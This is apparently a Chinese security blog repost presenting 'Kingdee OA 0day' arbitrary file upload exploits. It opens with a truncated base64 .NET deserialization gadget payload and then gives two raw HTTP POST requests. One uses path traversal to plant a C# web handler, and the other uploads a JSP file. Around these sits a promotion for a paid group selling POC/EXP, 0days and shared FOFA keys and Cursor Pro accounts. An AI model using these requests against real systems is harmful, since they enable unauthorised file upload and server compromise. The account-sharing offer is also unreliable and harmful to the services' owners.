c2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=","format":"3"}

金蝶 ScpSupRegHandler 任意文件上传

POST&nbsp;/k3cloud/SRM/ScpSupRegHandler HTTP/1.1Host:&nbsp;Accept-Encoding: identityContent-Length:&nbsp;973Accept-Language: zh-CN,zh;q=0.8Accept:&nbsp;*/*Cache-Control: max-age=0Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="dbId_v".--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="FID"2022--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."Content-Type: text/plain<%@&nbsp;WebHandler&nbsp;Language="C#"&nbsp;Class="TestHandler"&nbsp;%>&nbsp; &nbsp; &nbsp; &nbsp; using&nbsp;System;&nbsp; &nbsp; &nbsp; &nbsp; using&nbsp;System.Web;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;class&nbsp;TestHandler&nbsp;:&nbsp;IHttpHandler&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ProcessRequest&nbsp;(HttpContext&nbsp;context) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context.Response.ContentType=&nbsp;"text/plain";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context.Response.Write("Test");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;bool&nbsp;IsReusable&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;get&nbsp;{return&nbsp;false; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }--2ac719f8e29343df94aa4ab49e456061--

金蝶uploadLogo.action 任意文件上传

POST /plt_portal/setting/uploadLogo.action HTTP/1.1Host:&nbsp;User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)Accept-Encoding: gzip, deflateAccept: */*Connection: closeX-Forwarded-For:&nbsp;Content-Length: 632Content-Type: multipart/form-data; boundary=04844569c7ca7d21a3ca115dca477d62--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="chooseLanguage_top"; filename="chooseLanguage_top"ch--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="dataCenter"; filename="dataCenter"xx--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="insId"; filename="insId"--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="type"; filename="type"top--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="upload"; filename="test.jsp"Content-Type: image/pngtest--04844569c7ca7d21a3ca115dca477d62--

0day–任意文件上传

关于本次0day的漏洞分析，后续将整理上传至纷传上，感兴趣的师傅，可以直接在纷传中获取。

如果大家对我们的文章技术有什么建议或者工具使用上的反馈，都欢迎大家在评论区留言交流。对我们分享的文章感兴趣，想要深入探讨、交流并学习更多相关内容，也欢迎各位师傅加入官方技术交流群!!!（关注公众号，点击菜单栏：联系我们->技术交流群，添加管理员微信，备注【加群】，拉您进群）

加入圈子，一起进阶！

我们圈子已平稳运营一段时间啦，后续也会持续为大家输送高质量的实战资源：有一线团队的一手攻防经验、私有工具源码（包括咱们公众号发的工具，圈子里能直接拿源码 + 持续迭代），还有漏洞挖掘的 POC/EXP、每月不定期 0day 分享，hw实战攻防遇见高频oa/设备源码都能在这拿到。

对了，圈子里还有些「刚需资源」：FOFA 的 Key 长期能用，Cursor Pro 共享账号登了就能用；企业 SRC 案例、红队实战经验也会拆解着讲。

现在圈子现价 119 / 人，等满 100 人就涨到 129 了 —— 入了圈子还能进专属内部群，比咱们公开交流群的资源更新更实时、讨论也更深度。

纷传和知识星球内容是同步的，后期主要运营纷传，所以想进圈子的朋友直接扫描下方二维码就可以啦~

结束

👉 点击关注不迷路，一起潜入深水区，突破边界，共同精进！🚀

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：SharkSec SharkSec《【0day】金蝶OA》

Tags: WEB安全应急响应应用安全漏洞POC 漏洞分析

你可能错过

Silverseal：一个在开机流程中「加载 rootkit」的 Linux UEFI bootkit

WebBridge 官方插件上线两个月，我的 AI 军师还在给我造同款轮子

全球网络安全速递微软974个漏洞补丁反致故障紧急补救

OpenAI智能代理集群牵涉GemStuffer攻击活动中3022个恶意RubyGems软件包